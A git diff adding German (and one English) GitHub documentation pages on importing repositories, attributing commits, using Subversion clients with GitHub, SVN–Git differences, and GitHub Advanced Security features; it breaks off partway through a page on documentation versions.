+## Commits einem GitHub-Benutzer mit einer öffentlichen E-Mail-Adresse zuordnen
+
+Wenn der Autor eines Commits des importierten Repositorys über ein GitHub-Konto verfügt, das der E-Mail-Adresse zugeordnet ist, unter der er seine Commits verfasst, und er seine [E-Mail-Adresse für Commits nicht als privat festgelegt hat](/articles/setting-your-commit-email-address), ordnet GitHub Importer die mit dem Commit verbundene E-Mail-Adresse der öffentlichen E-Mail-Adresse dessen GitHub-Kontos zu. Dadurch wird auch der Commit dem GitHub-Konto des Autors zugeordnet.
+
+## Commits einem GitHub-Benutzer ohne öffentliche E-Mail-Adresse zuordnen
+
+Wenn der Autor eines Commits des importierten Repositorys in seinem GitHub-Profil keine öffentliche E-Mail-Adresse festgelegt hat, seine [E-Mail-Adresse für Commits aber auch nicht als privat festgelegt ist](/articles/setting-your-commit-email-address), kann GitHub Importer die dem Commit zugeordnete E-Mail-Adresse vermutlich nicht dem GitHub-Konto des Autors zuordnen.
+
+Dies kann der Commit-Autor durch Festlegung seiner E-Mail-Adresse als privat lösen. Seine Commits werden dann `<username>@users.noreply.github.com` zugeschrieben, und die importierten Commits werden seinem GitHub Konto zugeordnet.
+
+## Commits über die E-Mail-Adresse zuordnen
+
+Wenn die E-Mail-Adresse des Autors nicht mit seinem GitHub-Konto verknüpft ist, kann er nach dem Import [die Adresse dem Konto hinzufügen](/articles/adding-an-email-address-to-your-github-account), und die Commits werden korrekt zugeordnet.
+
+Wenn der Autor über kein GitHub-Konto verfügt, ordnet GitHub Importer dessen Commits der mit den Commits verbundenen E-Mail-Adresse zu.
+
+## Weiterführende Themen
+
+- [Informationen zu GitHub Importer](/articles/about-github-importer)
+- [Ein Repository mit GitHub Importer importieren](/articles/importing-a-repository-with-github-importer)
+- [Hinzufügen einer E-Mail-Adresse zu deinem Konto](/articles/adding-an-email-address-to-your-github-account/)
+- [E-Mail-Adresse für Commits festlegen](/articles/setting-your-commit-email-address)
diff --git a/translations/de-DE/content/get-started/importing-your-projects-to-github/index.md b/translations/de-DE/content/get-started/importing-your-projects-to-github/index.md
new file mode 100644
index 0000000000..bf2b108dd6
--- /dev/null
+++ b/translations/de-DE/content/get-started/importing-your-projects-to-github/index.md
@@ -0,0 +1,25 @@
+---
+title: Importieren deiner Projekte in GitHub
+intro: 'Du kannst deinen Quellcode mithilfe verschiedener Methoden in {% data variables.product.product_name %} importieren.'
+shortTitle: Importing your projects
+redirect_from:
+  - /categories/67/articles
+  - /categories/importing
+  - /categories/importing-your-projects-to-github
+  - /github/importing-your-projects-to-github
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+children:
+  - /importing-source-code-to-github
+  - /working-with-subversion-on-github
+ms.openlocfilehash: fabdcfdc06316fcaaaa60d106199ff670336dfde
+ms.sourcegitcommit: 76b840f45ba85fb79a7f0c1eb43bc663b3eadf2b
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: '145131233'
+---
+
diff --git a/translations/de-DE/content/get-started/importing-your-projects-to-github/working-with-subversion-on-github/index.md b/translations/de-DE/content/get-started/importing-your-projects-to-github/working-with-subversion-on-github/index.md
new file mode 100644
index 0000000000..2f45edfc62
--- /dev/null
+++ b/translations/de-DE/content/get-started/importing-your-projects-to-github/working-with-subversion-on-github/index.md
@@ -0,0 +1,23 @@
+---
+title: Mit Subversion auf GitHub arbeiten
+intro: Du kannst Subversion-Clients und einige Subversion-Workflows und -Eigenschaften mit GitHub verwenden.
+redirect_from:
+  - /articles/working-with-subversion-on-github
+  - /github/importing-your-projects-to-github/working-with-subversion-on-github
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghec: '*'
+children:
+  - /what-are-the-differences-between-subversion-and-git
+  - /support-for-subversion-clients
+  - /subversion-properties-supported-by-github
+shortTitle: Work with Subversion on GitHub
+ms.openlocfilehash: d50afc9a6e836af9d88252b683c079057f6300fb
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145131226'
+---
+
diff --git a/translations/de-DE/content/get-started/importing-your-projects-to-github/working-with-subversion-on-github/subversion-properties-supported-by-github.md b/translations/de-DE/content/get-started/importing-your-projects-to-github/working-with-subversion-on-github/subversion-properties-supported-by-github.md
new file mode 100644
index 0000000000..c1599bb4a9
--- /dev/null
+++ b/translations/de-DE/content/get-started/importing-your-projects-to-github/working-with-subversion-on-github/subversion-properties-supported-by-github.md
@@ -0,0 +1,34 @@
+---
+title: Von GitHub unterstützte Subversion-Eigenschaften
+intro: 'Verschiedene Subversion-Workflows und -Eigenschaften sind bestehenden Funktionen von {% data variables.product.product_name %} ähnlich.'
+redirect_from:
+  - /articles/subversion-properties-supported-by-github
+  - /github/importing-your-projects-to-github/subversion-properties-supported-by-github
+  - /github/importing-your-projects-to-github/working-with-subversion-on-github/subversion-properties-supported-by-github
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghec: '*'
+shortTitle: Properties supported by GitHub
+ms.openlocfilehash: 48c041509100455f6ffcf02d262fd12eafbbffbc
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145131222'
+---
+## Ausführbare Dateien (`svn:executable`)
+
+Eigenschaften vom Typ `svn:executable` werden durch direktes Aktualisieren des Dateimodus vor dem Hinzufügen der Datei in das Git-Repository konvertiert.
+
+## MIME-Typen (`svn:mime-type`)
+
+{% data variables.product.product_name %} zeichnet die „mime-type“-Eigenschaften von Dateien sowie die Commits, durch die sie hinzugefügt wurden, intern auf.
+
+## Ignorieren nicht versionierter Elemente (`svn:ignore`)
+
+Dateien und Verzeichnisse, die du in Subversion auf „Ignorieren“ gesetzt hast, zeichnet {% data variables.product.product_name %} intern auf. Von Subversion-Clients ignorierte Dateien werden getrennt von den Einträgen einer Datei vom Typ *.gitignore* behandelt.
+
+## Derzeit nicht unterstützte Eigenschaften
+
+`svn:externals`, `svn:global-ignores` und andere weiter oben nicht aufgeführte Eigenschaften (einschließlich benutzerdefinierter Eigenschaften) werden derzeit von {% data variables.product.product_name %} nicht unterstützt.
diff --git a/translations/de-DE/content/get-started/importing-your-projects-to-github/working-with-subversion-on-github/support-for-subversion-clients.md b/translations/de-DE/content/get-started/importing-your-projects-to-github/working-with-subversion-on-github/support-for-subversion-clients.md
new file mode 100644
index 0000000000..f621a0f95a
--- /dev/null
+++ b/translations/de-DE/content/get-started/importing-your-projects-to-github/working-with-subversion-on-github/support-for-subversion-clients.md
@@ -0,0 +1,138 @@
+---
+title: Unterstützung für Subversion-Clients
+intro: 'Der Zugriff auf GitHub-Repositorys kann von Git- und Subversion-Clients (SVN)erfolgen. In diesem Artikel erhältst du Informationen über die Ausführung eines Subversion-Clients auf GitHub sowie zu einigen häufigen Problemen, die auftreten können.'
+redirect_from:
+  - /articles/support-for-subversion-clients
+  - /github/importing-your-projects-to-github/support-for-subversion-clients
+  - /github/importing-your-projects-to-github/working-with-subversion-on-github/support-for-subversion-clients
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghec: '*'
+shortTitle: Support for Subversion clients
+ms.openlocfilehash: 49422fbd5dd07b84975172f077091e92bcd5b543
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145131218'
+---
+GitHub unterstützt Subversion-Clients über das HTTPS-Protokoll. Zur Übertragung von SVN-Befehlen an GitHub wird eine Subversion-Bridge verwendet.
+
+## Auf GitHub unterstützte Subversion-Funktionen
+
+### Kasse
+
+Dein erster Schritt in Verbindung mit Subversion ist der Checkout.  Da das Arbeitsverzeichnis (wo du Dateien bearbeitest) in Git-Klonen getrennt von den Repository-Daten geführt wird, enthält das Arbeitsverzeichnis jeweils nur einen Branch.
+
+Subversion-Check-Outs sind anders: Sie kombinieren die Repositorydaten in den Arbeitsverzeichnissen, sodass für jeden Branch und jedes Tag, den bzw. das du ausgecheckt hast, ein Arbeitsverzeichnis vorhanden ist. Bei Repositorys mit vielen Branches und Tags könnte durch ein vollständiges Check-Out die Bandbreite stark beansprucht werden, sodass du mit einem partiellen Check-Out beginnen solltest.
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.copy-clone-url %}
+
+3. Erstelle einen leeren Checkout des Repositorys:
+  ```shell
+  $ svn co --depth empty https://github.com/<em>user</em>/<em>repo</em>
+  > Checked out revision 1.
+  $ cd <em>repo</em>
+  ```
+
+4. Rufe den `trunk`-Branch ab. Die Subversion-Bridge ordnet den Trunk dem Git HEAD-Branch zu.
+  ```shell
+  $ svn up trunk
+  > A    trunk
+  > A    trunk/README.md
+  > A    trunk/gizmo.rb
+  > Updated to revision 1.
+  ```
+
+5. Rufe einen leeren Check-Out des Verzeichnisses `branches` ab.  In diesem Verzeichnis befinden sich alle Nicht-`HEAD`-Branches, und hier erstellst du Feature-Branches.
+  ```shell
+  $ svn up --depth empty branches
+  Updated to revision 1.
+  ```
+
+### Branches erstellen
+
+Zur Erstellung der Branches kannst du auch die Subversion-Bridge für GitHub verwenden.
+
+Stelle auf deinem SVN-Client sicher, dass der Standardbranch auf dem neuesten Stand ist, indem du `trunk` aktualisierst:
+```shell
+$ svn up trunk
+> At revision 1.
+```
+
+Als Nächstes kannst du mithilfe von `svn copy` einen neuen Branch erstellen:
+```shell
+$ svn copy trunk branches/more_awesome
+> A    branches/more_awesome
+$ svn commit -m 'Added more_awesome topic branch'
+> Adding    branches/more_awesome
+
+> Committed revision 2.
+```
+
+Im Branch-Dropdownmenü des Repositorys kannst du überprüfen, ob der neue Branch erstellt wurde:
+
+![Branch-Snapshot](/assets/images/help/branch/svnflow-branch-snapshot.png)
+
+Dies kannst du auch über die Befehlszeile überprüfen:
+
+```shell
+$ git fetch
+> From https://github.com/<em>user</em>/<em>repo</em>/
+> * [new branch]    more_awesome -> origin/more_awesome
+```
+
+### Commits an Subversion
+
+Nachdem du einige Features hinzugefügt und Fehler behoben hast, möchtest du diese Änderungen auf GitHub committen. Dies funktioniert genauso, wie du es von Subversion gewohnt bist. Bearbeite deine Dateien, und verwende `svn commit`, um die Änderungen aufzuzeichnen:
+
+```shell
+$ svn status
+> M    gizmo.rb
+$ svn commit -m 'Guard against known problems'
+> Sending    more_awesome/gizmo.rb
+> Transmitting file data .
+> Committed revision 3.
+$ svn status
+> ?    test
+$ svn add test
+> A    test
+> A    test/gizmo_test.rb
+$ svn commit -m 'Test coverage for problems'
+> Adding    more_awesome/test
+> Adding    more_awesome/test/gizmo_test.rb
+> Transmitting file data .
+> Committed revision 4.
+```
+
+### Wechseln zwischen Zweigen
+
+Um zwischen Branches zu wechseln, wirst du vermutlich zunächst `trunk` auschecken wollen:
+
+```shell
+$ svn co --depth empty https://github.com/<em>user</em>/<em>repo</em>/trunk
+```
+
+Danach kannst du zu einem anderen Branch wechseln:
+
+```shell
+$ svn switch https://github.com/<em>user</em>/<em>repo</em>/branches/more_awesome
+```
+
+## Git-Commit-SHA für einen Subversion-Commit finden
+
+Der Subversion-Server von GitHub stellt die Git-Commit-SHA für jeden Subversion-Commit bereit.
+
+Um diesen Commit-SHA zu finden, solltest du nach der nicht versionierten Remote-Eigenschaft `git-commit` fragen.
+
+```shell
+$ svn propget git-commit --revprop -r HEAD https://github.com/<em>user</em>/<em>repo</em>
+05fcc584ed53d7b0c92e116cb7e64d198b13c4e3
+```
+
+Mit dieser Commit-SHA kannst du beispielsweise nach dem zugehörigen Git-Commit auf GitHub suchen.
+
+## Weitere Informationsquellen
+
+* [Von GitHub unterstützte Subversion-Eigenschaften](/articles/subversion-properties-supported-by-github)
diff --git a/translations/de-DE/content/get-started/importing-your-projects-to-github/working-with-subversion-on-github/what-are-the-differences-between-subversion-and-git.md b/translations/de-DE/content/get-started/importing-your-projects-to-github/working-with-subversion-on-github/what-are-the-differences-between-subversion-and-git.md
new file mode 100644
index 0000000000..12034f9f5a
--- /dev/null
+++ b/translations/de-DE/content/get-started/importing-your-projects-to-github/working-with-subversion-on-github/what-are-the-differences-between-subversion-and-git.md
@@ -0,0 +1,76 @@
+---
+title: Unterschiede zwischen Subversion und Git
+intro: SVN-Repositorys (Subversion) ähneln Git-Repositorys. In Bezug auf die Architektur Deiner Projekte bestehen jedoch mehrere Unterschiede.
+redirect_from:
+  - /articles/what-are-the-differences-between-svn-and-git
+  - /articles/what-are-the-differences-between-subversion-and-git
+  - /github/importing-your-projects-to-github/what-are-the-differences-between-subversion-and-git
+  - /github/importing-your-projects-to-github/working-with-subversion-on-github/what-are-the-differences-between-subversion-and-git
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghec: '*'
+shortTitle: Subversion & Git differences
+ms.openlocfilehash: cbe328bf3d2fbf3a603f6eef1559715ad48ca7fe
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145131217'
+---
+## Verzeichnisstruktur
+
+Jeder *Verweis* oder jede bezeichnete Momentaufnahme eines Commits in einem Projekt ist in bestimmten Unterverzeichnissen organisiert, etwa `trunk`, `branches` und `tags`. Beispielsweise kann ein SVN-Projekt mit zwei in Entwicklung befindlichen Features wie folgt aussehen:
+
+      sample_project/trunk/README.md
+      sample_project/trunk/lib/widget.rb
+      sample_project/branches/new_feature/README.md
+      sample_project/branches/new_feature/lib/widget.rb
+      sample_project/branches/another_new_feature/README.md
+      sample_project/branches/another_new_feature/lib/widget.rb
+
+Ein SVN-Workflow sieht wie folgt aus:
+
+* Das Verzeichnis `trunk` stellt die neueste stabile Veröffentlichung eines Projekts dar.
+* Aktive Funktionsarbeit wird innerhalb von Unterverzeichnissen unter `branches` entwickelt.
+* Nach Abschluss einer Funktion wird das Funktionsverzeichnis in `trunk` überführt und entfernt.
+
+Git-Projekte werden zudem in einem einzelnen Verzeichnis gespeichert. Git verbirgt jedoch die Details seiner Verweise, indem sie in einem speziellen *.git*-Verzeichnis gespeichert werden. Beispielsweise kann ein Git-Projekt mit zwei in Entwicklung befindlichen Features wie folgt aussehen:
+
+      sample_project/.git
+      sample_project/README.md
+      sample_project/lib/widget.rb
+
+Ein Git-Workflow sieht wie folgt aus:
+
+* Ein Git-Repository speichert den vollständigen Verlauf all seiner Branches und Tags im *.git*-Verzeichnis.
+* Der Standardbranch enthält die neueste stabile Veröffentlichung.
+* Aktive Funktionsarbeiten werden auf separaten Branches entwickelt.
+* Nach Abschluss einer Funktion wird der Featurebranch in den Standardbranch überführt und gelöscht.
+
+Im Gegensatz zu SVN bleibt die Verzeichnisstruktur mit Git identisch. Basierend auf Deinem Branch ändern sich jedoch die Dateiinhalte.
+
+## Subprojekte einbeziehen
+
+Ein *Subprojekt* ist ein Projekt, das außerhalb deines Hauptprojekts entwickelt und verwaltet wird. In der Regel importierst Du ein Subprojekt, um Deinem Projekte einige Funktionen hinzuzufügen, ohne den Code selbst verwalten zu müssen. Sobald das Subprojekt aktualisiert wird, kannst Du es mit Deinem Projekt synchronisieren, um sicherzustellen, dass alles aktuell ist.
+
+In SVN wird ein Subprojekt als *SVN-extern* bezeichnet. In Git wird es als ein *Git-Submodul* bezeichnet. Obwohl sich beide konzeptionell ähneln, werden Git-Submodule nicht automatisch auf dem neuesten Stand gehalten. Du musst explizit darum bitten, dass eine neue Version in Dein Projekt eingelesen wird.
+
+Weitere Informationen findest du in der Git-Dokumentation unter [Git-Tools – Untermodule](https://git-scm.com/book/en/Git-Tools-Submodules).
+
+## Verlauf beibehalten
+
+SVN geht davon aus, dass sich der Verlauf eines Projekts niemals ändert. Git ermöglicht es dir, vorherige Commits und Änderungen mithilfe von Tools wie [`git rebase`](/github/getting-started-with-github/about-git-rebase) anzupassen.
+
+{% tip %}
+
+[GitHub unterstützt Subversion-Clients](/articles/support-for-subversion-clients), die möglicherweise unerwartete Ergebnisse erzeugen, wenn du Git und SVN im selben Projekt verwendest. Falls Du den Commit-Verlauf von Git geändert hast, verbleiben genau die gleichen Commits immer im Verlauf von SVN. Wenn du versehentlich vertrauliche Daten committet hast, findest du in [diesem Artikel](/articles/removing-sensitive-data-from-a-repository) Informationen zum Entfernen dieser Daten aus dem Git-Verlauf.
+
+{% endtip %}
+
+## Weitere Informationsquellen
+
+- [Von GitHub unterstützte Subversion-Eigenschaften](/articles/subversion-properties-supported-by-github)
+- [„Branching und Merging“ im Buch _Git SCM_](https://git-scm.com/book/en/Git-Branching-Basic-Branching-and-Merging)
+- [Importieren von Quellcode in GitHub](/articles/importing-source-code-to-github)
+- [Tools für die Quellcodemigration](/articles/source-code-migration-tools)
diff --git a/translations/de-DE/content/get-started/index.md b/translations/de-DE/content/get-started/index.md
new file mode 100644
index 0000000000..0bd2bf2f96
--- /dev/null
+++ b/translations/de-DE/content/get-started/index.md
@@ -0,0 +1,72 @@
+---
+title: Erste Schritte mit GitHub
+shortTitle: Get started
+intro: 'Erfahre, wie du mit {% data variables.product.prodname_dotcom %} Software erstellen, versenden und warten kannst. Erkunde unsere Produkte, registriere dich für ein Konto, und verbinde dich mit der größten Entwicklungscommunity der Welt.'
+redirect_from:
+  - /categories/54/articles
+  - /categories/bootcamp
+  - /categories/32/articles
+  - /categories/2/articles
+  - /categories/organizations
+  - /categories/about-github
+  - /categories/53/articles
+  - /categories/setup
+  - /categories/getting-started-with-github
+  - /categories/19/articles
+  - /categories/using-git
+  - /github/using-git
+  - /github/getting-started-with-github
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+layout: product-landing
+introLinks:
+  quickstart: /get-started/quickstart
+featuredLinks:
+  guides:
+    - /github/getting-started-with-github/githubs-products
+    - /get-started/onboarding/getting-started-with-your-github-account
+    - /get-started/onboarding/getting-started-with-github-team
+    - /get-started/onboarding/getting-started-with-github-enterprise-cloud
+    - /get-started/onboarding/getting-started-with-github-enterprise-server
+    - /get-started/onboarding/getting-started-with-github-ae
+    - /get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/quickstart-for-writing-on-github
+  popular:
+    - /github/getting-started-with-github/signing-up-for-a-new-github-account
+    - /get-started/quickstart/hello-world
+    - /github/getting-started-with-github/set-up-git
+    - /get-started/learning-about-github/about-versions-of-github-docs
+    - /github/getting-started-with-github/github-glossary
+    - /github/getting-started-with-github/keyboard-shortcuts
+  guideCards:
+    - /github/getting-started-with-github/types-of-github-accounts
+    - /github/getting-started-with-github/finding-ways-to-contribute-to-open-source-on-github
+    - /github/getting-started-with-github/troubleshooting-connectivity-problems
+topics:
+  - Pull requests
+  - Issues
+  - Notifications
+  - Accounts
+children:
+  - /quickstart
+  - /onboarding
+  - /learning-about-github
+  - /signing-up-for-github
+  - /using-github
+  - /writing-on-github
+  - /importing-your-projects-to-github
+  - /exploring-projects-on-github
+  - /getting-started-with-git
+  - /using-git
+  - /customizing-your-github-workflow
+  - /privacy-on-github
+ms.openlocfilehash: 7671e605fa3644c4690de6ed16bd9a255bb6b1f6
+ms.sourcegitcommit: 2ecb6ba7d01b2bc9a44ad74a5953b98413216051
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/15/2022
+ms.locfileid: '148165353'
+---
+
diff --git a/translations/de-DE/content/get-started/learning-about-github/about-github-advanced-security.md b/translations/de-DE/content/get-started/learning-about-github/about-github-advanced-security.md
new file mode 100644
index 0000000000..7f2ad08c68
--- /dev/null
+++ b/translations/de-DE/content/get-started/learning-about-github/about-github-advanced-security.md
@@ -0,0 +1,101 @@
+---
+title: About GitHub Advanced Security
+intro: '{% data variables.product.prodname_dotcom %} makes extra security features available to customers under an {% data variables.product.prodname_advanced_security %} license.{% ifversion fpt or ghec %} These features are also enabled for public repositories on {% data variables.product.prodname_dotcom_the_website %}.{% endif %}'
+product: '{% data reusables.gated-features.ghas %}'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Security
+redirect_from:
+  - /github/getting-started-with-github/about-github-advanced-security
+  - /github/getting-started-with-github/learning-about-github/about-github-advanced-security
+shortTitle: GitHub Advanced Security
+---
+## About {% data variables.product.prodname_GH_advanced_security %}
+
+{% data variables.product.prodname_dotcom %} has many features that help you improve and maintain the quality of your code. Some of these are included in all plans{% ifversion not ghae %}, such as dependency graph and {% data variables.product.prodname_dependabot_alerts %}{% endif %}. Other security features require a {% data variables.product.prodname_GH_advanced_security %}{% ifversion fpt or ghec %} license to run on repositories apart from public repositories on {% data variables.product.prodname_dotcom_the_website %}{% endif %}.
+
+{% ifversion ghes or ghec %}For information about buying a license for {% data variables.product.prodname_GH_advanced_security %}, see "[About billing for {% data variables.product.prodname_GH_advanced_security %}](/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security)."{% elsif ghae %}There is no charge for {% data variables.product.prodname_GH_advanced_security %} on {% data variables.product.prodname_ghe_managed %} during the beta release.{% elsif fpt %}To purchase a {% data variables.product.prodname_GH_advanced_security %} license, you must be using {% data variables.product.prodname_enterprise %}. For information about upgrading to {% data variables.product.prodname_enterprise %} with {% data variables.product.prodname_GH_advanced_security %}, see "[GitHub's products](/get-started/learning-about-github/githubs-products)" and "[About billing for {% data variables.product.prodname_GH_advanced_security %}](/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security)."{% endif %}
+
+## About {% data variables.product.prodname_advanced_security %} features
+
+A {% data variables.product.prodname_GH_advanced_security %} license provides the following additional features:
+
+- **{% data variables.product.prodname_code_scanning_capc %}** - Search for potential security vulnerabilities and coding errors in your code. For more information, see "[About {% data variables.product.prodname_code_scanning %}](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning)."
+
+- **{% data variables.product.prodname_secret_scanning_caps %}** - Detect secrets, for example keys and tokens, that have been checked into the repository.{% ifversion secret-scanning-push-protection %} If push protection is enabled, also detects secrets when they are pushed to your repository. For more information, see "[About {% data variables.product.prodname_secret_scanning %}](/code-security/secret-scanning/about-secret-scanning)" and "[Protecting pushes with {% data variables.product.prodname_secret_scanning %}](/code-security/secret-scanning/protecting-pushes-with-secret-scanning)."{% else %} For more information, see "[About {% data variables.product.prodname_secret_scanning %}](/code-security/secret-scanning/about-secret-scanning)."{% endif %}
+
+- **Dependency review** - Show the full impact of changes to dependencies and see details of any vulnerable versions before you merge a pull request. For more information, see "[About dependency review](/code-security/supply-chain-security/about-dependency-review)."
+
+{% ifversion ghes < 3.7 or ghae %}
+<!-- Ref: ghae > 3.6 remove GHAE versioning from this section when the `security-overview-displayed-alerts` flag is toggled for GHAE -->
+- **Security overview** - Review the security configuration and alerts for an organization and identify the repositories at greatest risk. For more information, see "[About the security overview](/code-security/security-overview/about-the-security-overview)."
+{% endif %}
+
+{% ifversion fpt or ghec %}
+The table below summarizes the availability of {% data variables.product.prodname_GH_advanced_security %} features for public and private repositories.
+
+|                   | Public repository           | Private repository without {% data variables.product.prodname_advanced_security %} | Private repository with {% data variables.product.prodname_advanced_security %} |
+| :-----------------: | :---------------------------: | :--------------------------------------------: | :-----------------------------------------: |
+| Code scanning     | Yes                         | No                                           | Yes                                        |
+| Secret scanning   | Yes **(limited functionality only)** | No                                           | Yes                                       |
+| Dependency review | Yes                         | No                                           | Yes                                       |
+{% endif %}
+
+For information about {% data variables.product.prodname_advanced_security %} features that are in development, see "[{% data variables.product.prodname_dotcom %} public roadmap](https://github.com/github/roadmap)." For an overview of all security features, see "[{% data variables.product.prodname_dotcom %} security features](/code-security/getting-started/github-security-features)."
+
+{% ifversion fpt or ghec %}
+{% data variables.product.prodname_GH_advanced_security %} features are enabled for all public repositories on {% data variables.product.prodname_dotcom_the_website %}. Organizations that use {% data variables.product.prodname_ghe_cloud %} with {% data variables.product.prodname_advanced_security %} can additionally enable these features for private and internal repositories. {% ifversion fpt %}For more information, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/get-started/learning-about-github/about-github-advanced-security#enabling-advanced-security-features).
+{% endif %}
+
+{% ifversion ghes or ghec or ghae %}
+## Deploying GitHub Advanced Security in your enterprise
+
+To learn about what you need to know to plan your {% data variables.product.prodname_GH_advanced_security %} deployment at a high level and to review the rollout phases we recommended, see "[Adopting {% data variables.product.prodname_GH_advanced_security %} at scale](/code-security/adopting-github-advanced-security-at-scale)."
+
+{% endif %}
+
+{% ifversion not fpt %}
+## Enabling {% data variables.product.prodname_advanced_security %} features
+
+{%- ifversion ghes %}
+The site administrator must enable {% data variables.product.prodname_advanced_security %} for {% data variables.location.product_location %} before you can use these features. For more information, see "[Configuring Advanced Security features](/admin/configuration/configuring-advanced-security-features).
+
+Once your system is set up, you can enable and disable these features at the organization or repository level.
+
+{%- elsif ghec %}
+For public repositories these features are permanently on and can only be disabled if you change the visibility of the project so that the code is no longer public.
+
+For other repositories, once you have a license for your enterprise account, you can enable and disable these features at the organization or repository level.
+
+{%- elsif ghae %}
+You can enable and disable these features at the organization or repository level.
+{%- endif %}
+For more information, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)" and "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)."
+
+{% ifversion ghec or ghes %}
+If you have an enterprise account, license use for the entire enterprise is shown on your enterprise license page. For more information, see "[Viewing your {% data variables.product.prodname_GH_advanced_security %} usage](/billing/managing-licensing-for-github-advanced-security/viewing-your-github-advanced-security-usage)."
+{% endif %}
+
+{% endif %}
+
+{% ifversion fpt or ghec %}
+## About starter workflows for {% data variables.product.prodname_advanced_security %}
+
+{% data reusables.advanced-security.starter-workflows-beta %}
+{% data reusables.advanced-security.starter-workflow-overview %}
+
+For more information on starter workflows, see "[Setting up {% data variables.product.prodname_code_scanning %} using starter workflows](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository#setting-up-code-scanning-using-starter-workflows)" and "[Using starter workflows](/actions/using-workflows/using-starter-workflows)."
+
+{% endif %}
+
+{% ifversion ghec or ghes or ghae %}
+## Further reading
+
+- "[Enforcing policies for {% data variables.product.prodname_advanced_security %} in your enterprise account](/admin/policies/enforcing-policies-for-advanced-security-in-your-enterprise)"
+
+{% endif %}
+{% endif %}
diff --git a/translations/de-DE/content/get-started/learning-about-github/about-versions-of-github-docs.md b/translations/de-DE/content/get-started/learning-about-github/about-versions-of-github-docs.md
new file mode 100644
index 0000000000..05505a6607
--- /dev/null
+++ b/translations/de-DE/content/get-started/learning-about-github/about-versions-of-github-docs.md
@@ -0,0 +1,65 @@
+---
+title: Informationen zu Versionen der GitHub-Dokumentation
+intro: Du kannst die Dokumentation lesen, die dem {% data variables.product.company_short %}-Produkt entspricht, das du derzeit verwendest.
+versions: '*'
+shortTitle: Docs versions
+ms.openlocfilehash: 656cb53b79409329299d63e9f77b14a56b809f6c
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "146681295"
+---
+## Informationen zu Versionen von {% data variables.product.prodname_docs %}
+
+{% data variables.product.company_short %} bietet verschiedene Produkte zum Speichern von Code und zur Zusammenarbeit daran. Welches Produkt du verwendest, bestimmt die Funktionen, die dir zur Verfügung stehen. Weitere Informationen findest du unter [{% data variables.product.company_short %}-Produkte](/get-started/learning-about-github/githubs-products).
+
+Diese Website, {% data variables.product.prodname_docs %}, stellt die Dokumentation für alle {% data variables.product.company_short %}-Produkte bereit. Wenn sich der Inhalt, den du liest, auf mehrere Produkte bezieht, kannst du die Version der Dokumentation auswählen, die für dich relevant ist, indem du das Produkt auswählst, das du gerade verwendest.
+
+Wähle oben auf einer Seite zu {% data variables.product.prodname_docs %} das Dropdownmenü aus, und klicke auf ein Produkt. Wenn dein Browserfenster nicht breit genug ist, um die vollständige Navigationsleiste anzuzeigen, musst du möglicherweise zuerst auf {% octicon "three-bars" aria-label="The three bars icon" %} klicken.
+
+![Screenshot des Dropdownmenüs zum Auswählen einer Version von {% data variables.product.prodname_docs %} zum Anzeigen](/assets/images/help/docs/version-picker.png)
+
+{% note %}
+
+**Hinweis**: Du kannst jetzt versuchen, die Version zu ändern. Du zeigst {% ifversion ghes %}eine{% else %}die{% endif %} {% ifversion fpt %}Free-, Pro- und Team-{% else %}{% data variables.product.product_name %}{% endif %}Version dieses Artikels an.
+
+{% endnote %}
+
+## Ermitteln des {% data variables.product.company_short %}-Produkts, das du verwendest
+
+Um zu ermitteln, welches {% data variables.product.company_short %}-Produkt du gerade verwendest, kannst du die URL in der Adressleiste deines Browsers und die Überschrift der {% data variables.product.prodname_dotcom %}-Website, auf der du dich befindest, überprüfen.
+
+Du kannst mehrere {% data variables.product.company_short %}-Produkte verwenden. Beispielsweise kannst du auf {% data variables.product.prodname_dotcom_the_website %} zu Open Source beitragen und auf der {% data variables.product.prodname_ghe_server %}-Instanz deines Arbeitgebers am Code mitarbeiten. Je nach dem Problem, das du gerade zu lösen versuchst, musst du vielleicht verschiedene Versionen desselben Artikels zu verschiedenen Zeiten ansehen.
+
+### {% data variables.product.prodname_dotcom_the_website %}-Pläne oder {% data variables.product.prodname_ghe_cloud %}
+
+Wenn du unter https://github.com auf {% data variables.product.prodname_dotcom %} zugreifst, nutzt du entweder die Funktionen eines Free-, Pro- oder Team-Plans, oder du nutzt {% data variables.product.prodname_ghe_cloud %}.
+
